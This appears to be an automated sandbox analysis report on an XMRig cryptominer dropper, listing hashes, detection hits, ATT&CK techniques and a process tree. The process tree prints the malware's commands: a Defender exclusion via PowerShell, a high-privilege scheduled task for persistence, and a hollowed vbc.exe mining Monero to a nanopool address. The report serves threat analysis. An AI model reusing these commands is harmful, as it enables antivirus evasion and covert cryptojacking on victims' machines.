xmrig | 2371a3a7ac61d4daffa56c66420d0bc7ec99f1aa7dd4428f2be4cbb9dc25138f

Analysis

max time kernel
58s
max time network
115s
platform
windows7_x64
resource
win7-20221111-en
resource tags

arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
submitted
04-01-2023 23:28

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

file.exe
Size

882KB
MD5

1b946a8d9e0e30915f241061c5106a3f
SHA1

2cf0b19ef93c46a164b0bc93cbb9f3793cb6c8cf
SHA256

2371a3a7ac61d4daffa56c66420d0bc7ec99f1aa7dd4428f2be4cbb9dc25138f
SHA512

b83858ee0e21c590cd932bbc92cbbf5a88d3458010535f18cfbe2343b99c396f373e788554b2638cfe0b76bca46e6b3734fe44d6b98d546b4252390a31be398f
SSDEEP

24576:qe9E/+x1L3sNSaH3uhbTsjc/BIQ8iU7cG19:qD+sM4UfsXrc2

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 13 IoCs

miner

resource	yara_rule
behavioral1/memory/908-105-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/908-107-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/908-109-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/908-110-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/908-112-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/908-114-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/908-115-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/908-117-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/908-119-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/908-120-0x0000000140343234-mapping.dmp	xmrig
behavioral1/memory/908-123-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/908-125-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/908-128-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1228 set thread context of 908	1228	file.exe	34

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
108	schtasks.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1304	powershell.exe
1228	file.exe
1228	file.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1228	file.exe
Token: SeDebugPrivilege	1304	powershell.exe
Token: SeLockMemoryPrivilege	908	vbc.exe
Token: SeLockMemoryPrivilege	908	vbc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
908	vbc.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1228 wrote to memory of 1304	1228	file.exe	28
PID 1228 wrote to memory of 1304	1228	file.exe	28
PID 1228 wrote to memory of 1304	1228	file.exe	28
PID 1228 wrote to memory of 944	1228	file.exe	30
PID 1228 wrote to memory of 944	1228	file.exe	30
PID 1228 wrote to memory of 944	1228	file.exe	30
PID 944 wrote to memory of 108	944	cmd.exe	32
PID 944 wrote to memory of 108	944	cmd.exe	32
PID 944 wrote to memory of 108	944	cmd.exe	32
PID 1228 wrote to memory of 908	1228	file.exe	34
PID 1228 wrote to memory of 908	1228	file.exe	34
PID 1228 wrote to memory of 908	1228	file.exe	34
PID 1228 wrote to memory of 908	1228	file.exe	34
PID 1228 wrote to memory of 908	1228	file.exe	34
PID 1228 wrote to memory of 908	1228	file.exe	34
PID 1228 wrote to memory of 908	1228	file.exe	34
PID 1228 wrote to memory of 908	1228	file.exe	34
PID 1228 wrote to memory of 908	1228	file.exe	34
PID 1228 wrote to memory of 908	1228	file.exe	34
PID 1228 wrote to memory of 908	1228	file.exe	34
PID 1228 wrote to memory of 908	1228	file.exe	34
PID 1228 wrote to memory of 908	1228	file.exe	34
PID 1228 wrote to memory of 908	1228	file.exe	34
PID 1228 wrote to memory of 908	1228	file.exe	34

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1304
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "WSEL" /tr "C:\ProgramData\7zip\WSEL.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:944
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "WSEL" /tr "C:\ProgramData\7zip\WSEL.exe"
    3⤵
    - Creates scheduled task(s)
    PID:108
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:908

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/108-86-0x0000000000000000-mapping.dmp

Download
memory/908-117-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/908-124-0x00000000001F0000-0x0000000000210000-memory.dmp

Filesize
128KB

Download
memory/908-115-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/908-112-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/908-114-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/908-125-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/908-123-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/908-120-0x0000000140343234-mapping.dmp

Download
memory/908-119-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/908-129-0x0000000000000000-0x0000000001000000-memory.dmp

Filesize
16.0MB

Download
memory/908-127-0x0000000000000000-0x0000000001000000-memory.dmp

Filesize
16.0MB

Download
memory/908-128-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/908-126-0x0000000000000000-0x0000000001000000-memory.dmp

Filesize
16.0MB

Download
memory/908-110-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/908-109-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/908-107-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/908-105-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/908-103-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/908-101-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/908-100-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/944-84-0x0000000000000000-mapping.dmp

Download
memory/1228-71-0x0000000000F20000-0x0000000001064000-memory.dmp

Filesize
1.3MB

Download
memory/1228-99-0x000007FEFC8C0000-0x000007FEFC91B000-memory.dmp

Filesize
364KB

Download
memory/1228-56-0x000007FEFA980000-0x000007FEFAA1C000-memory.dmp

Filesize
624KB

Download
memory/1228-57-0x000007FEFF150000-0x000007FEFF1B7000-memory.dmp

Filesize
412KB

Download
memory/1228-58-0x0000000077360000-0x000000007745A000-memory.dmp

Filesize
1000KB

Download
memory/1228-59-0x000007FEFDB00000-0x000007FEFDB9F000-memory.dmp

Filesize
636KB

Download
memory/1228-60-0x0000000077240000-0x000000007735F000-memory.dmp

Filesize
1.1MB

Download
memory/1228-76-0x000007FEFD640000-0x000007FEFD717000-memory.dmp

Filesize
860KB

Download
memory/1228-85-0x000007FEFB880000-0x000007FEFBA95000-memory.dmp

Filesize
2.1MB

Download
memory/1228-87-0x000007FEFDEE0000-0x000007FEFDEFF000-memory.dmp

Filesize
124KB

Download
memory/1228-88-0x0000000000F20000-0x0000000001064000-memory.dmp

Filesize
1.3MB

Download
memory/1228-89-0x0000000000500000-0x0000000000543000-memory.dmp

Filesize
268KB

Download
memory/1228-90-0x000007FEFCAA0000-0x000007FEFCAB7000-memory.dmp

Filesize
92KB

Download
memory/1228-91-0x000007FEF11C0000-0x000007FEF11DC000-memory.dmp

Filesize
112KB

Download
memory/1228-92-0x000007FEF11E0000-0x000007FEF1242000-memory.dmp

Filesize
392KB

Download
memory/1228-93-0x000007FEFF690000-0x000007FEFF6DD000-memory.dmp

Filesize
308KB

Download
memory/1228-94-0x000007FEF9D70000-0x000007FEF9DD4000-memory.dmp

Filesize
400KB

Download
memory/1228-95-0x000007FEF9E20000-0x000007FEF9E91000-memory.dmp

Filesize
452KB

Download
memory/1228-96-0x000007FEFD070000-0x000007FEFD095000-memory.dmp

Filesize
148KB

Download
memory/1228-97-0x000007FEFADC0000-0x000007FEFADE7000-memory.dmp

Filesize
156KB

Download
memory/1228-98-0x000007FEFD3E0000-0x000007FEFD416000-memory.dmp

Filesize
216KB

Download
memory/1228-61-0x000007FEFD420000-0x000007FEFD48C000-memory.dmp

Filesize
432KB

Download
memory/1228-62-0x000007FEFF3A0000-0x000007FEFF411000-memory.dmp

Filesize
452KB

Download
memory/1228-122-0x0000000000F20000-0x0000000001064000-memory.dmp

Filesize
1.3MB

Download
memory/1228-73-0x000007FEFCBF0000-0x000007FEFCC12000-memory.dmp

Filesize
136KB

Download
memory/1228-72-0x000007FEF5DF0000-0x000007FEF5F1C000-memory.dmp

Filesize
1.2MB

Download
memory/1228-55-0x000007FEFAC50000-0x000007FEFACBF000-memory.dmp

Filesize
444KB

Download
memory/1228-70-0x000007FEFBAA0000-0x000007FEFBAF6000-memory.dmp

Filesize
344KB

Download
memory/1228-69-0x000007FEFD720000-0x000007FEFD923000-memory.dmp

Filesize
2.0MB

Download
memory/1228-68-0x000007FEFD9D0000-0x000007FEFDAFD000-memory.dmp

Filesize
1.2MB

Download
memory/1228-67-0x0000000000500000-0x0000000000543000-memory.dmp

Filesize
268KB

Download
memory/1228-66-0x0000000000F20000-0x0000000001064000-memory.dmp

Filesize
1.3MB

Download
memory/1228-65-0x000007FEF5F20000-0x000007FEF690C000-memory.dmp

Filesize
9.9MB

Download
memory/1228-64-0x000007FEFF580000-0x000007FEFF65B000-memory.dmp

Filesize
876KB

Download
memory/1228-63-0x000007FEF6A60000-0x000007FEF6B57000-memory.dmp

Filesize
988KB

Download
memory/1304-74-0x0000000000000000-mapping.dmp

Download
memory/1304-75-0x000007FEFBCE1000-0x000007FEFBCE3000-memory.dmp

Filesize
8KB

Download
memory/1304-79-0x0000000002834000-0x0000000002837000-memory.dmp

Filesize
12KB

Download
memory/1304-77-0x000007FEED8D0000-0x000007FEEE2F3000-memory.dmp

Filesize
10.1MB

Download
memory/1304-82-0x000000000283B000-0x000000000285A000-memory.dmp

Filesize
124KB

Download
memory/1304-81-0x0000000002834000-0x0000000002837000-memory.dmp

Filesize
12KB

Download
memory/1304-80-0x000000001B7C0000-0x000000001BABF000-memory.dmp

Filesize
3.0MB

Download
memory/1304-78-0x000007FEECD70000-0x000007FEED8CD000-memory.dmp

Filesize
11.4MB

Download